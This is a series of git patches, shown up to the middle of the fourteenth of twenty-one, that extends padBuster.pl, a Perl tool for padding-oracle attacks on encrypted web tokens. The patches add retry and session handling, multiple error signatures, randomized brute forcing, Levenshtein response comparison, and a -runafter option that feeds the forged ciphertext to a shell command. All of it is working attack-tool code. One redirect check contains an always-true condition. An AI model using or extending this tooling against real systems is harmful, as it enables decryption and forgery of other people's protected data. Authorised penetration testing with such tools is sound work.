From 58a001a0fff2e2ed2953a7c237597458c70405d4 Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 12:38:04 +0200 Subject: [PATCH 01/21] Added session based connections and more robust connection error handling. --- padBuster.pl | 39 +++++++++++++++++++++------------------ 1 file changed, 21 insertions(+), 18 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 885a534..ad32a3e 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -29,7 +29,7 @@ "intermediate=s" => \my $intermediaryInput, "ciphertext=s" => \my $cipherInput, "plaintext=s" => \my $plainTextInput, - "encodedtext=s" => \my $encodedPlainTextInput, + "encodedtext=s" => \my $encodedPlainTextInput, "noencode" => \my $noEncodeOption, "veryverbose" => \my $superVerbose, "proxy=s" => \my $proxy, @@ -101,6 +101,7 @@ #$post = ""; #$sample = ""; +my $lwp; my $method = $post ? "POST" : "GET"; # These are file related variables @@ -125,6 +126,8 @@ my $encryptedBytes = $sample; my $totalRequests = 0; +my $reqsPerSession = 200; +my $retryWait = 10; # See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem) if ($sample =~ /\%/) @@ -673,7 +676,7 @@ sub processBlock sub makeRequest { my ($method, $url, $data, $cookie) = @_; - my ($noConnect, $numRetries, $lwp, $status, $content, $req, $location, $contentLength); + my ($noConnect, $numRetries, $status, $content, $req, $location, $contentLength); $requestTracker++; do @@ -681,11 +684,10 @@ sub makeRequest { #Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed) $ENV{HTTPS_PROXY} = ""; - $lwp = LWP::UserAgent->new(env_proxy => 1, - keep_alive => 1, - timeout => 30, - requests_redirectable => [], - ); + if(!$lwp || ($totalRequests % $reqsPerSession) == 0) { + sleep $retryWait; + $lwp = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 60, requests_redirectable => []); + } $req = new HTTP::Request $method => $url; @@ -747,31 +749,29 @@ sub makeRequest { $status = substr($response->status_line, 0, 3); $content = $response->content; - $superVerbose ? myPrint("Response Content:\n$content",0) : ""; $location = $response->header("Location"); - if ($location eq "") - { - $location = "N/A"; - } - #$contentLength = $response->header("Content-Length"); - $contentLength = length($content); + $contentLength = $response->header("Content-Length"); + #$contentLength = length($content); my $contentEncoding = $response->header("Content-Encoding"); if ($contentEncoding =~ /GZIP/i ) { - $content = Compress::Zlib::memGunzip($content); + $content = Compress::Zlib::memGunzip($content); $contentLength = length($content); } + $superVerbose ? myPrint("Response Content:\n$content",0) : ""; my $statusMsg = $response->status_line; #myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1); - if ($statusMsg =~ /Can't connect/) { - print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n"; + #eg: Status: 500 Can't connect to example.com:81 (connect: Connection timed out), Location: N/A, Length: + #eg: Status: 500 Server closed connection without sending any data back, Location: N/A, Length: + if ($location eq '' && $contentLength eq '' && $status eq '500') { + print "ERROR: $statusMsg\n Retrying in $retryWait seconds...\n\n"; $noConnect = 1; $numRetries++; - sleep 10; + sleep $retryWait; } else { $noConnect = 0; $totalRequests++; @@ -781,6 +781,9 @@ sub makeRequest { myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0); exit; } + if ($location eq "") { + $location = "N/A"; + } return ($status, $content, $location, $contentLength); } From 3e4b03b16f5e1094907b31f924178be1ce34d737 Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 13:44:21 +0200 Subject: [PATCH 02/21] Added option to run command after finished encryption phase. --- padBuster.pl | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/padBuster.pl b/padBuster.pl index ad32a3e..d4eebd1 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -41,6 +41,7 @@ "bruteforce" => \my $bruteForce, "ignorecontent" => \my $ignoreContent, "usebody" => \my $useBody, + "runafter=s" => \my $runAfter, "verbose" => \my $verbose); print "\n+-------------------------------------------+\n"; @@ -81,6 +82,7 @@ -proxyauth [username:password]: Proxy Authentication -resume [Block Number]: Resume at this block number -usebody: Use response body content for response analysis phase + -runafter: Command to run after finished encryption (replaces XXX) -verbose: Be Verbose -veryverbose: Be Very Verbose (Debug Only) @@ -370,7 +372,19 @@ myPrint("** Finished ***\n", 0); if ($plainTextInput) { - myPrint("[+] Encrypted value is: ".uri_escape($forgedBytes),0); + if (! $noEncodeOption) + { + $forgedBytes = uri_escape($forgedBytes); + } + myPrint("[+] Encrypted value is: $forgedBytes\n",0); + + if($runAfter) { + myPrint("-------------------------------------------------------\n",0); + $runAfter =~ s/XXX/$forgedBytes/g; + myPrint("Running: $runAfter",0); + myPrint("-------------------------------------------------------\n",0); + system($runAfter); + } } else { From 6e15fe9f3ee9a2320371cdeaf9b173ff8ecef5b6 Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 17:14:52 +0200 Subject: [PATCH 03/21] Improved automatic request repetition mechanism. --- padBuster.pl | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index d4eebd1..1ad07fa 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -128,8 +128,9 @@ my $encryptedBytes = $sample; my $totalRequests = 0; -my $reqsPerSession = 200; +my $reqsPerSession = 500; my $retryWait = 10; +my $retryRepeat = 20; # See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem) if ($sample =~ /\%/) @@ -574,7 +575,7 @@ sub processBlock if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) { # This is for autoretry logic (only works on the first byte) - if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) + if ($autoRetry > 0 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) { $hasHit++; } @@ -592,7 +593,7 @@ sub processBlock $continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1); } - if ($continue eq "y" | $continue eq "a") + if ($continue eq "y" || $continue eq "a") { $continue eq "a" ? $interactive = 0 : ""; @@ -631,10 +632,10 @@ sub processBlock # End of the road with no success. We should probably try again. myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0); - if ($autoRetry == 0) + if ($autoRetry < $retryRepeat) { - $autoRetry = 1; - myPrint(" Automatically trying one more time...",0); + $autoRetry++; + myPrint(" Automatically trying ".($retryRepeat-$autoRetry)." more times...",0); $repeat = 1; last OUTERLOOP; @@ -752,7 +753,7 @@ sub makeRequest { my $endTime = gettimeofday(); $timeTracker = $timeTracker + ($endTime - $startTime); - if ($printStats == 1 && $requestTracker % 250 == 0) + if ($printStats == 1 && $requestTracker % 500 == 0) { print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n"; $timeTracker = 0; @@ -790,9 +791,9 @@ sub makeRequest { $noConnect = 0; $totalRequests++; } - } until (($noConnect == 0) || ($numRetries >= 15)); - if ($numRetries >= 15) { - myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0); + } until (($noConnect == 0) || ($numRetries >= $retryRepeat)); + if ($numRetries >= $retryRepeat) { + myPrint("ERROR: Number of retries has exceeded $retryRepeat attempts...quitting.\n",0); exit; } if ($location eq "") { From 5b1e77bc80b3e164338758483459937fea80209f Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 18:25:38 +0200 Subject: [PATCH 04/21] Added client certificate support (PKCS12 or PEM format). --- padBuster.pl | 61 ++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 43 insertions(+), 18 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 1ad07fa..6effbd4 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -34,6 +34,7 @@ "veryverbose" => \my $superVerbose, "proxy=s" => \my $proxy, "proxyauth=s" => \my $proxyAuth, + "cert=s" => \my $cert, "noiv" => \my $noIv, "auth=s" => \my $auth, "resume=s" => \my $resumeBlock, @@ -80,6 +81,7 @@ -prefix [Prefix]: Prefix bytes to append to each sample (Encoded) -proxy [address:port]: Use HTTP/S Proxy -proxyauth [username:password]: Proxy Authentication + -cert [pkcs12:file:pass or pem:crt:key]: HTTPS client certificate -resume [Block Number]: Resume at this block number -usebody: Use response body content for response analysis phase -runafter: Command to run after finished encryption (replaces XXX) @@ -132,6 +134,25 @@ my $retryWait = 10; my $retryRepeat = 20; +if ($cert) { + my ($certType, $certFile, $certPass) = split(/:/,$cert); + if (lc($certType) eq 'pkcs12') { + $ENV{HTTPS_PKCS12_FILE} = $certFile; + if (!$certPass && !$ENV{HTTPS_PKCS12_PASSWORD}) { + $certPass = &promptUser("Enter $certType certificate '$certFile' password", "", 2); + } + if ($certPass) { + $ENV{HTTPS_PKCS12_PASSWORD} = $certPass; + } + } elsif (lc($certType) eq 'pem') { + $ENV{HTTPS_CERT_FILE} = $certFile; + $ENV{HTTPS_KEY_FILE} = $certPass; + } else { + print "\nERROR: Invalid certificate type!"; + exit(); + } +} + # See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem) if ($sample =~ /\%/) { @@ -702,6 +723,21 @@ sub makeRequest { if(!$lwp || ($totalRequests % $reqsPerSession) == 0) { sleep $retryWait; $lwp = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 60, requests_redirectable => []); + + if ($proxy) + { + my $proxyUrl = "http://"; + if ($proxyAuth) + { + my ($proxyUser, $proxyPass) = split(":",$proxyAuth); + $ENV{HTTPS_PROXY_USERNAME} = $proxyUser; + $ENV{HTTPS_PROXY_PASSWORD} = $proxyPass; + $proxyUrl .= $proxyAuth."@"; + } + $proxyUrl .= $proxy; + $lwp->proxy(['http'], "http://".$proxy); + $ENV{HTTPS_PROXY} = "http://".$proxy; + } } $req = new HTTP::Request $method => $url; @@ -713,21 +749,6 @@ sub makeRequest { $req->content_type('application/x-www-form-urlencoded'); $req->content($data); } - - if ($proxy) - { - my $proxyUrl = "http://"; - if ($proxyAuth) - { - my ($proxyUser, $proxyPass) = split(":",$proxyAuth); - $ENV{HTTPS_PROXY_USERNAME} = $proxyUser; - $ENV{HTTPS_PROXY_PASSWORD} = $proxyPass; - $proxyUrl .= $proxyAuth."@"; - } - $proxyUrl .= $proxy; - $lwp->proxy(['http'], "http://".$proxy); - $ENV{HTTPS_PROXY} = "http://".$proxy; - } if ($auth) { @@ -918,13 +939,13 @@ sub web64Decode { sub promptUser { - my($prompt, $default, $yn) = @_; + my($prompt, $default, $type) = @_; my $defaultValue = $default ? "[$default]" : ""; print "$prompt $defaultValue: "; chomp(my $input = ); $input = $input ? $input : $default; - if ($yn) + if ($type == 1) { if ($input =~ /^y|n|a$/) { @@ -932,9 +953,13 @@ sub promptUser { } else { - promptUser($prompt, $default, $yn); + promptUser($prompt, $default, $type); } } + elsif ($type == 2) + { + return $input; + } else { if ($input =~ /^-?\d/ && $input > 0 && $input < 256) From c9c62309fb495ef6d77e25c562958a680360c584 Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 18:32:02 +0200 Subject: [PATCH 05/21] Minor visual improvements for new features. --- padBuster.pl | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 6effbd4..76c80a6 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -132,7 +132,7 @@ my $totalRequests = 0; my $reqsPerSession = 500; my $retryWait = 10; -my $retryRepeat = 20; +my $retryRepeat = 10; if ($cert) { my ($certType, $certFile, $certPass) = split(/:/,$cert); @@ -405,7 +405,9 @@ $runAfter =~ s/XXX/$forgedBytes/g; myPrint("Running: $runAfter",0); myPrint("-------------------------------------------------------\n",0); - system($runAfter); + my $ret = system($runAfter); + myPrint("-------------------------------------------------------\n",0); + myPrint("Exit $ret from: $runAfter",0); } } else @@ -655,8 +657,9 @@ sub processBlock if ($autoRetry < $retryRepeat) { - $autoRetry++; myPrint(" Automatically trying ".($retryRepeat-$autoRetry)." more times...",0); + sleep $retryWait; + $autoRetry++; $repeat = 1; last OUTERLOOP; From eb5cc19088b6fca623c9cf0efb43ec68697f9dcc Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 19:26:42 +0200 Subject: [PATCH 06/21] Added support for multiple oracle padding error signatures. --- padBuster.pl | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 76c80a6..1cc4788 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -191,9 +191,8 @@ # Declare some optional elements for storing the results of the first test iteration # to help the user if they don't know what the padding error looks like -my @oracleCantidates; -my $oracleSignature = ""; my %oracleGuesses; +my @oracleSignatures = (); my %responseFileBuffer; # The block count should be the sample divided by the blocksize @@ -275,7 +274,7 @@ my $signatureData = "$status\t$contentLength\t$location"; $useBody ? ($signatureData = "$status\t$contentLength\t$location\t$content") : "" ; - if ($oracleSignature eq "") + if ($#oracleSignatures < 0) { $b == 0 ? myPrint("[+] Starting response analysis...\n",0) : ""; $oracleGuesses{$signatureData}++; @@ -291,7 +290,7 @@ $bfAttempts = 0; } } - if ($oracleSignature ne "" && $oracleSignature ne $signatureData) + if ($#oracleSignatures >= 0 && !grep {$signatureData eq $_} @oracleSignatures) { myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0); writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"); @@ -462,9 +461,11 @@ () } else { - my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended"); - myPrint("\nContinuing test with selection $responseNum\n",0); - $oracleSignature = @sortedGuesses[$responseNum-1]; + my @oracleNums = split(/[,\s]+/, &promptUser("\nEnter a comma separated list of IDs that match the error condition\nNOTE: The ID# marked with ** is recommended")); + for (@oracleNums) { + push(@oracleSignatures, @sortedGuesses[$_-1]); + } + myPrint("\nContinuing test with selection [@oracleNums]\n",0); } } @@ -517,7 +518,7 @@ sub processBlock my ($sampleBytes) = @_; # Analysis mode is either 0 (response analysis) or 1 (exploit) - (!$error && $oracleSignature eq "") ? my $analysisMode = 0 : my $analysisMode = 1; + (!$error && $#oracleSignatures < 0) ? my $analysisMode = 0 : my $analysisMode = 1; # The return value of this subroutine is the intermediate text for the block my $returnValue; @@ -595,7 +596,7 @@ sub processBlock my $continue = "y"; - if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) + if (($error && $content !~ /$error/) || ($#oracleSignatures >= 0 && !grep {$signatureData eq $_} @oracleSignatures)) { # This is for autoretry logic (only works on the first byte) if ($autoRetry > 0 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) From 7d197dddfb2a4391b07a2aabe8258c787b9e8bba Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 19:44:12 +0200 Subject: [PATCH 07/21] Added computation of Levenshtein distance (edit distance) between contents. --- padBuster.pl | 35 ++++++++++++++++++++++++++++++++--- 1 file changed, 32 insertions(+), 3 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 1cc4788..59f531b 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -192,6 +192,7 @@ # Declare some optional elements for storing the results of the first test iteration # to help the user if they don't know what the padding error looks like my %oracleGuesses; +my %oracleCandidates; my @oracleSignatures = (); my %responseFileBuffer; @@ -271,13 +272,13 @@ # Issue the request my ($status, $content, $location, $contentLength) = makeRequest($method, $testUrl, $testPost, $testCookies); - my $signatureData = "$status\t$contentLength\t$location"; - $useBody ? ($signatureData = "$status\t$contentLength\t$location\t$content") : "" ; + my $signatureData = ($useBody) ? "$status\t$contentLength\t$location\t$content" : "$status\t$contentLength\t$location"; if ($#oracleSignatures < 0) { $b == 0 ? myPrint("[+] Starting response analysis...\n",0) : ""; $oracleGuesses{$signatureData}++; + $oracleCandidates{$signatureData} = $content; $responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"; if ($b == 255) { @@ -292,7 +293,8 @@ } if ($#oracleSignatures >= 0 && !grep {$signatureData eq $_} @oracleSignatures) { - myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0); + my $distance = levenshtein($content, $oracleCandidates{$oracleSignatures[0]}); + myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength - Distance: $distance\n$testUrl\n",0); writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"); } } @@ -1012,3 +1014,30 @@ sub getTime { } } +# Levenshtein distance (also called edit distance) between two strings +sub levenshtein($$){ + my @A=split //, lc shift; + my @B=split //, lc shift; + my @W=(0..@B); + my ($i, $j, $cur, $next); + for $i (0..$#A){ + $cur=$i+1; + for $j (0..$#B){ + $next=min( + $W[$j+1]+1, + $cur+1, + ($A[$i] ne $B[$j])+$W[$j] + ); + $W[$j]=$cur; + $cur=$next; + } + $W[@B]=$next; + } + return $next; +} + +sub min($$$){ + if ($_[0] < $_[2]){ pop @_; } else { shift @_; } + return $_[0] < $_[1]? $_[0]:$_[1]; +} + From 0de42ec0154478e791801e171e7533a471f98d6a Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 20:03:15 +0200 Subject: [PATCH 08/21] Added displaying of HTTP redirect targets during brute force mode. --- padBuster.pl | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/padBuster.pl b/padBuster.pl index 59f531b..373dfdb 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -293,8 +293,13 @@ } if ($#oracleSignatures >= 0 && !grep {$signatureData eq $_} @oracleSignatures) { + my $contentRealLength = length($content); my $distance = levenshtein($content, $oracleCandidates{$oracleSignatures[0]}); - myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength - Distance: $distance\n$testUrl\n",0); + if ($status >= 300 || $status < 400) { + myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance - Location: $location\n$testUrl\n",0); + } else { + myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance\n$testUrl\n",0); + } writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"); } } From dc81b8fd7ab08b35e47212e9ff31f624e83005a8 Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 20:05:48 +0200 Subject: [PATCH 09/21] Added randomized brute force mode (similar to Web.config bruter). --- padBuster.pl | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/padBuster.pl b/padBuster.pl index 373dfdb..e5176f3 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -40,6 +40,7 @@ "resume=s" => \my $resumeBlock, "interactive" => \my $interactive, "bruteforce" => \my $bruteForce, + "randomize" => \my $randomize, "ignorecontent" => \my $ignoreContent, "usebody" => \my $useBody, "runafter=s" => \my $runAfter, @@ -83,6 +84,7 @@ -proxyauth [username:password]: Proxy Authentication -cert [pkcs12:file:pass or pem:crt:key]: HTTPS client certificate -resume [Block Number]: Resume at this block number + -randomize: Randomize brute force attempts (similar to Web.config bruter) -usebody: Use response body content for response analysis phase -runafter: Command to run after finished encryption (replaces XXX) -verbose: Be Verbose @@ -259,7 +261,13 @@ else { my $testBytes = chr($b).$testVal; - $testBytes .= "\x00" x ($blockSize-3); + if($#oracleSignatures >= 0 && $randomize) { + for (1 .. ($blockSize-3)) { + $testBytes .= chr(int(rand(256))); + } + } else { + $testBytes .= "\x00" x ($blockSize-3); + } my $combinedBf = $testBytes; $combinedBf .= $encryptedBytes; From 1fbf4dd938584c6cd8e1a1264d83e29781088f1b Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 10 May 2011 20:16:35 +0200 Subject: [PATCH 10/21] Added support to ignore responses with smaller than given Levenshtein distance. --- padBuster.pl | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index e5176f3..cfcd35f 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -41,7 +41,7 @@ "interactive" => \my $interactive, "bruteforce" => \my $bruteForce, "randomize" => \my $randomize, - "ignorecontent" => \my $ignoreContent, + "ignoredistance=s" => \my $ignoreDistance, "usebody" => \my $useBody, "runafter=s" => \my $runAfter, "verbose" => \my $verbose); @@ -85,6 +85,7 @@ -cert [pkcs12:file:pass or pem:crt:key]: HTTPS client certificate -resume [Block Number]: Resume at this block number -randomize: Randomize brute force attempts (similar to Web.config bruter) + -ignoredistance [Levenshtein distance]: Ignore responses with smaller distance -usebody: Use response body content for response analysis phase -runafter: Command to run after finished encryption (replaces XXX) -verbose: Be Verbose @@ -303,12 +304,14 @@ { my $contentRealLength = length($content); my $distance = levenshtein($content, $oracleCandidates{$oracleSignatures[0]}); - if ($status >= 300 || $status < 400) { - myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance - Location: $location\n$testUrl\n",0); - } else { - myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance\n$testUrl\n",0); + if (!$ignoreDistance || $distance > $ignoreDistance) { + if ($status >= 300 || $status < 400) { + myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance - Location: $location\n$testUrl\n",0); + } else { + myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance\n$testUrl\n",0); + } } - writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"); + writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength ($contentRealLength)\nDistance: $distance\nContent:\n$content"); } } } From 870321c5421ce083c0738759b8bb9d35f130ee63 Mon Sep 17 00:00:00 2001 From: gw0 Date: Wed, 11 May 2011 00:22:53 +0200 Subject: [PATCH 11/21] Minor visual modifications for tracking executing commands. --- padBuster.pl | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/padBuster.pl b/padBuster.pl index cfcd35f..10d168d 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -420,7 +420,14 @@ if($runAfter) { myPrint("-------------------------------------------------------\n",0); $runAfter =~ s/XXX/$forgedBytes/g; - myPrint("Running: $runAfter",0); + open FILE, "<", "/proc/$$/cmdline"; + my $cmdline = ; + $cmdline =~ s/\x00/ '/; + $cmdline =~ s/\x00/' '/cg; + $cmdline =~ s/ '$//; + close FILE; + myPrint("Pri: $cmdline",0); + myPrint("Run: $runAfter",0); myPrint("-------------------------------------------------------\n",0); my $ret = system($runAfter); myPrint("-------------------------------------------------------\n",0); From 17a4b08829ecfba798c57b82b7b6aba4d4adb4e9 Mon Sep 17 00:00:00 2001 From: gw0 Date: Wed, 11 May 2011 09:21:41 +0200 Subject: [PATCH 12/21] Improved logging directory handling and added Summary.txt log. --- padBuster.pl | 34 +++++++++++++++------------------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 10d168d..feb4350 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -19,7 +19,7 @@ use Compress::Zlib; use Crypt::SSLeay; -GetOptions( "log" => \my $logFiles, +GetOptions( "log:s" => \my $logging, "post=s" => \my $post, "encoding=s" => \my $encoding, "headers=s" => \my $headers, @@ -74,7 +74,7 @@ -headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2) -interactive: Prompt for confirmation on decrypted bytes -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded) - -log: Generate log files (creates folder PadBuster.DDMMYY) + -log [customdir]: Generate log files (creates PadBuster.DDMMYY or customdir) -noencode: Do not URL-encode the payload (encoded by default) -noiv: Sample does not include IV (decrypt first block) -plaintext [String]: Plain-Text to Encrypt @@ -87,7 +87,7 @@ -randomize: Randomize brute force attempts (similar to Web.config bruter) -ignoredistance [Levenshtein distance]: Ignore responses with smaller distance -usebody: Use response body content for response analysis phase - -runafter: Command to run after finished encryption (replaces XXX) + -runafter [cmd]: Command to run after finished encryption (replaces XXX, YYY) -verbose: Be Verbose -veryverbose: Be Very Verbose (Debug Only) @@ -112,14 +112,8 @@ my $method = $post ? "POST" : "GET"; # These are file related variables -my $dirName = "PadBuster." . getTime("F"); -my $dirSlash = "/"; -my $dirCmd = "mkdir "; -if ($ENV{'OS'} =~ /Windows/) { - $dirSlash = "\\"; - $dirCmd = "md "; -} -my $dirExists = 0; +my $dirName = ($logging) ? $logging : ("PadBuster." . getTime("F")); +my $dirSlash = ($ENV{'OS'} =~ /Windows/) ? "\\" : "/"; my $printStats = 0; my $requestTracker = 0; my $timeTracker = 0; @@ -304,13 +298,16 @@ { my $contentRealLength = length($content); my $distance = levenshtein($content, $oracleCandidates{$oracleSignatures[0]}); + my $strAttempt; if (!$ignoreDistance || $distance > $ignoreDistance) { if ($status >= 300 || $status < 400) { - myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance - Location: $location\n$testUrl\n",0); + $strAttempt = "Attempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance - Location: $location\n$testUrl\n"; } else { - myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance\n$testUrl\n",0); + $strAttempt = "Attempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance\n$testUrl\n"; } } + myPrint($strAttempt,0); + writeFile("Summary.txt", "# $strAttempt"); writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength ($contentRealLength)\nDistance: $distance\nContent:\n$content"); } } @@ -420,6 +417,7 @@ if($runAfter) { myPrint("-------------------------------------------------------\n",0); $runAfter =~ s/XXX/$forgedBytes/g; + $runAfter =~ s/YYY/$dirName/g; open FILE, "<", "/proc/$$/cmdline"; my $cmdline = ; $cmdline =~ s/\x00/ '/; @@ -428,6 +426,8 @@ close FILE; myPrint("Pri: $cmdline",0); myPrint("Run: $runAfter",0); + writeFile("Summary.txt", "\n$cmdline\n"); + writeFile("Summary.txt", "$runAfter\n\n"); myPrint("-------------------------------------------------------\n",0); my $ret = system($runAfter); myPrint("-------------------------------------------------------\n",0); @@ -1003,13 +1003,9 @@ sub promptUser { sub writeFile { my ($fileName, $fileContent) = @_; - if ($logFiles) + if (defined($logging)) { - if ($dirExists != 1) - { - system($dirCmd." ".$dirName); - $dirExists = 1; - } + mkdir($dirName); $fileName = $dirName.$dirSlash.$fileName; open(OUTFILE, ">>$fileName") or die "ERROR: Can't write to file $fileName\n"; print OUTFILE $fileContent; From 1908396e3b9fc446b0fd1df088d67940638e46f6 Mon Sep 17 00:00:00 2001 From: gw0 Date: Wed, 11 May 2011 09:47:19 +0200 Subject: [PATCH 13/21] Added option to continue with the response analysis in brute force mode. --- padBuster.pl | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index feb4350..7b7fcbd 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -256,7 +256,7 @@ else { my $testBytes = chr($b).$testVal; - if($#oracleSignatures >= 0 && $randomize) { + if($#oracleSignatures >= 0 && $randomize || $#oracleSignatures < 0 && $printStats) { for (1 .. ($blockSize-3)) { $testBytes .= chr(int(rand(256))); } @@ -486,11 +486,13 @@ () } else { - my @oracleNums = split(/[,\s]+/, &promptUser("\nEnter a comma separated list of IDs that match the error condition\nNOTE: The ID# marked with ** is recommended")); + my @oracleNums = split(/[,\s]+/, &promptUser("\nEnter a comma separated list of IDs that match the error condition\nNOTE: The ID# marked with ** is recommended",'')); for (@oracleNums) { push(@oracleSignatures, @sortedGuesses[$_-1]); } - myPrint("\nContinuing test with selection [@oracleNums]\n",0); + if($#oracleSignatures >= 0) { + myPrint("\nContinuing test with selection [@oracleNums]\n",0); + } } } @@ -991,7 +993,7 @@ sub promptUser { } else { - if ($input =~ /^-?\d/ && $input > 0 && $input < 256) + if ($input =~ /^-?\d/ && $input > 0 && $input < 256 || $input eq $default) { return $input; } else { From 818d78d6f4cd7139ee1c92d28eb9559cf55144b8 Mon Sep 17 00:00:00 2001 From: gw0 Date: Tue, 24 May 2011 11:12:02 +0200 Subject: [PATCH 14/21] Various corrections for logging and visual output. --- padBuster.pl | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/padBuster.pl b/padBuster.pl index 7b7fcbd..8359f1d 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -127,7 +127,7 @@ my $encryptedBytes = $sample; my $totalRequests = 0; -my $reqsPerSession = 500; +my $reqsPerSession = 1000; my $retryWait = 10; my $retryRepeat = 10; @@ -299,15 +299,15 @@ my $contentRealLength = length($content); my $distance = levenshtein($content, $oracleCandidates{$oracleSignatures[0]}); my $strAttempt; + if ($status >= 300 || $status < 400) { + $strAttempt = "Attempt $bfAttempts - Status: $status - Content Length: $contentLength ($contentRealLength) - Distance: $distance - Location: $location\n$testUrl\n"; + } else { + $strAttempt = 